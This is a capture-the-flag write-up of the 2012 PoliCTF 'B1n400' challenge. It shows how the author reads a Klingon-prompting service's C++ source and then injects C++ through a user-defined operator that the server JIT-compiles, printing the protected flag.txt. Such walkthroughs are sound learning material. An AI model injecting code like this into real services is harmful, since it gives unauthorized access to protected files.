Nov 22, 2012 • Rogdham

B1n400

Introduction

I took part in the PoliCTF, which lasted 24h starting from November 17th, 2012.

This was the first CTF organised by the students from Politecnico di Milano (hence the name), and it was also the first CTF I took part in.

Identi.ca notice by @Rogdham: "Your submission of flag [â¦] has earned 440 points."  My first CTF ever, and I scored! So happy! #success #poliCTF

I managed to capture the flag for the B1n400 challenge (with some help from my team members), and here is how I did it.

B1n400

Ready

The description of this challenge was pretty short:

Alien Technologies. challenge@alien.challenges.polictf.it:16000

First things first, connect to the server. It takes no time to discover that this is a SSH server running on port 16000. And you probably want to log in as user challenge. The private key you sent to the organisers gets the job done quite easily.

Instead of a shell prompt, a few characters appears when you connect:

loS ..........
ghItlh pIqaD (a..y)

It seems that this server speaks Kligon. At least, this is what I found doing a quick search on these characters. At that point, using an online dictionary is really useful, especially if you are not fluent in Kligon.

Here, it asks to wait first, and then to write some Klingon command.

Set …

Then, you try random command, using letters from a to y. Or should I say using Kligon alphabet? There are not so many letters in that alphabet, so ch is probably your third attempt.

loS ..........
ghItlh pIqaD (a..y)
ch
ghItlh teywI' pong (main.cpp, ...)

You are asked to write a file name here, and it suggests main.cpp. So you try ch main.cpp but it does not work. After a while, you figure out that you should not put the file name directly after ch, but on the next line and you get the listening of main.cpp.

#include "prompt.h"
#include <iostream>
#include <cstdlib>
#include <unistd.h>
#include <pthread.h>


using namespace std;

void *timeout(void*)
{
  sleep(60);
  cout << "Dor" << endl;
  exit(0);
}

int main()
{
  pthread_t t;
  pthread_create(&t, 0, timeout, 0);
  cout << "loS ";
  cout.flush();
  for(int i=0; i < 10; i++)
  {
    sleep(1);
    cout << '.';
    cout.flush();
  }
  cout << endl;
  Prompt prompt;
  prompt.run();
  return 0;
}

Nothing interesting here, except #include "prompt.h". Hence, the next thing you do is using ch to get the content of the files prompt.h and prompt.cpp. And it starts to be interesting. Here is the snippet corresponding to the ch command:

void Prompt::dump()
{
  cout << "ghItlh teywI' pong (main.cpp, ...)" << endl;
  string name;
  getline(cin, name);
  bool ok = false;
  if(name == "main.cpp") ok = true;
  if(name == "prompt.h") ok = true;
  if(name == "prompt.cpp") ok = true;
  if(name == "data.h") ok = true;
  //if(name == "flag.txt") ok = true;
  if(ok == false)
  {
      cout << "Qagh" << endl;
      return;
  }
  string line;
  int i = 1;
  ifstream in(name.c_str());
  while(getline(in, line)) cout << setw(3) << i++ << " " << line << endl;
}

Of course, you will download the data.h file using ch. But one thing is more important: you know that you are looking for a way to get the content of the flag.txt file!

But wait, there are more commands available! Now that you have access to a part of the source code, things are getting easier. The gh command enables you to put a float on a stack, and tlh to apply an operator on the content of the stack (if there are at least 3 elements in it) and get the result back. The list of operators is in the file prompt.h:

class Prompt
{
  public:
    Prompt()
    {
      op[0]="result=mean+variance";
      op[1]="result=mean+2*variance";
      op[2]="result=mean+3*variance";
      op[3]=";";
    }

  void run();

  private:
  	bool execute(const std::string& command);

  	void dump();

  	void add();

  	void addOp();

  	void get();

  	std::string op[4];
  	Data<float> data;
};

Finally, the ng command allows you to define op[3] up to 80 characters.

Let’s try what happened if you use result = 6 * 7 as the operator:

loS ..........
ghItlh pIqaD (a..y)
ng
ghItlh Qap
result=6*7
ghItlh pIqaD (a..y)
gh
ghItlh De'
1
ghItlh pIqaD (a..y)
gh
ghItlh De'
1
ghItlh pIqaD (a..y)
gh
ghItlh De'
1
ghItlh pIqaD (a..y)
tlh
ghItlh Qap (0..3)
3
1 0 42
ghItlh pIqaD (a..y)
Dor

Yeah, it gets executed, and you got 42 back!

Go!

Exploit time! Remember that you want to get the content of flag.txt back. At that point, since I don’t know C++, I tried different things. With some very beautiful error messages from times to times⦠which confirm that some JIT compilation is done.

Opps, faillure

Anyway, after a few tries your exploit succeed, and you get the flag back!

loS ..........
ghItlh pIqaD (a..y)
ng
ghItlh Qap
string l;ifstream in("flag.txt");while(getline(in,l)) cout<<l
ghItlh pIqaD (a..y)
gh
ghItlh De'
1
ghItlh pIqaD (a..y)
gh
ghItlh De'
1
ghItlh pIqaD (a..y)
gh
ghItlh De'
1
ghItlh pIqaD (a..y)
tlh
ghItlh Qap (0..3)
3
Well done, you found the flag:jbvenvinvpek2envi2nThis challenge is powered by cling: http://root.cern.ch/drupal/content/cling1 0 0
ghItlh pIqaD (a..y)
Dor

Flag: jbvenvinvpek2envi2n.

Conclusion

That challenge was not really technical, since I managed to do it without knowing a word of Kligon or C++. However, it was fun, and scoring makes everyone happy in your team!

00:16:15 @csn         top work
00:16:22 @csn         AFiniteNumberOfMonkeys: 440points
00:16:22 +Rogdham     Your submission of flag *** has earned 440 points.
00:16:27 +Rogdham     heah\o/
00:16:27 @csn         BIRMINGHAM WOO
00:16:27 gardiner90   AFiniteNumberOfMonkeys: 440points
00:16:34 Abstract_Tom Well played \o/
00:16:36 +boxcar      Woo :D
00:16:39 +Rogdham     youhouuuuuuuu
00:16:42 +boxcar      Heroic!
00:16:43 gardiner90   we are now 8th out of 180!!

Here is the final result of our team. See the 440 points? ;-)

Final ranking

Many thanks to the AFiniteNumberOfMonkeys team members!